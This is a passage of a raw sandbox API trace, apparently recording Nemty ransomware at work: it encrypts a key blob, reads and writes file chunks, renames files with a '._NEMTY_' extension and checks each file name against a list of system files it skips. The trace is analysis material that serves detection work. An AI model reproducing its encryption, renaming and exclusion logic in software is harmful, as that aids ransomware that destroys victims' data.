hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0074.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0074.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0074.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_LOOP_BG_PAL.wmv", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0074.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_LOOP_BG_PAL.wmv", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_LOOP_BG_PAL.wmv", lpUsedDefaultChar=0x0) returned 21 [0074.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0074.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0074.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_LOOP_BG_PAL.wmv", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0074.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0074.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_LOOP_BG_PAL.wmv", cchWideChar=21, lpMultiByteStr=0x4f9ed08, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_LOOP_BG_PAL.wmv", lpUsedDefaultChar=0x0) returned 21 [0074.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0074.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0074.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0074.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0074.720] Sleep (dwMilliseconds=0x5) [0074.722] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe02f3ef0, dwHighDateTime=0x1d561e7)) [0074.722] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe02f3ef0, dwHighDateTime=0x1d561e7)) [0074.722] GetLastError () returned 0x5 [0074.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0074.722] GetLastError () returned 0x5 [0074.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0074.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0074.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0074.722] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0074.722] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0074.722] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0074.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0074.722] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="I3Texcsdlnxwxtr7Wftei5zvqQFrF48CKln4FBK4ANkDdLNuZ62hZS8DQnX0973z\r\n4rZis5nBBHhiIKfRYsNbMbK6ezKWNJfPYBD3QbBN/nIdOqFed5/HeaKBpngn2CW7\r\nzReDmoLjcujKr3SQPwbR2FrA7VubOLIKg4FRnk+MpgsgGo347M86Fef2qMtSvIhR\r\n/e3gmenyoqzM+gGXDw5TTqFAYNwhPXIm+/qMstATab2jP7qQtUVdU89EJGbJBAZz\r\nSEXw9nOVLGTf6jPsAP4P3wl2/NmD/mIgTKLVseUIsrU1j/9dyGvDS5rgq9NC8QUr\r\n30OtcDiiaRMN9q3HdzrAPg==\r\n", pcchString=0x653e91c) returned 1 [0074.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0074.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0074.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0074.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0074.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0074.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0074.722] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0074.723] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0074.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0074.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.723] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.732] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.732] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.741] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.741] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.750] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.750] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.759] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.759] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.759] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.759] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.768] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.768] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.773] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.773] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.783] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.783] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.792] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.792] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.801] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.801] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.810] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.810] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.819] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.819] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.825] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.825] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.831] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.831] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0074.832] CloseHandle (hObject=0xffffffff) returned 0 [0074.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0074.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0074.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0074.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0074.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0074.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0074.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0074.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f942b0 [0074.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0074.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0074.832] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv._nemty_kgobjgd_")) returned 0 [0074.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0074.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0074.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0074.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0074.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0074.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0074.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0074.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0074.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0074.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.832] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Pets_btn-back-over-select.png", cAlternateFileName="")) returned 1 [0074.832] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2=".") returned 1 [0074.832] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="..") returned 1 [0074.832] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="...") returned 1 [0074.832] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="windows") returned -1 [0074.832] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="$RECYCLE.BIN") returned 1 [0074.832] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="rsa") returned -1 [0074.832] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="NTDETECT.COM") returned 1 [0074.832] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="ntldr") returned 1 [0074.833] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="MSDOS.SYS") returned 1 [0074.833] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="IO.SYS") returned 1 [0074.833] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="boot.ini") returned 1 [0074.833] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="boot.ini") returned 1 [0074.833] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="AUTOEXEC.BAT") returned 1 [0074.833] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="ntuser.dat") returned 1 [0074.833] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="desktop.ini") returned 1 [0074.833] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="CONFIG.SYS") returned 1 [0074.833] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="RECYCLER") returned -1 [0074.833] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="BOOTSECT.BAK") returned 1 [0074.833] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="bootmgr") returned 1 [0074.833] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="programdata") returned -1 [0074.833] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="appdata") returned 1 [0074.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0074.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-back-over-select.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0074.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-back-over-select.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-back-over-select.png", lpUsedDefaultChar=0x0) returned 29 [0074.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0074.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-back-over-select.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0074.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-back-over-select.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-back-over-select.png", lpUsedDefaultChar=0x0) returned 29 [0074.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0074.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0074.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0074.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-back-over-select.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0074.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-back-over-select.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-back-over-select.png", lpUsedDefaultChar=0x0) returned 29 [0074.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0074.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0074.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-back-over-select.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0074.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0074.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-back-over-select.png", cchWideChar=29, lpMultiByteStr=0x4f9ed08, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-back-over-select.png", lpUsedDefaultChar=0x0) returned 29 [0074.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0074.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 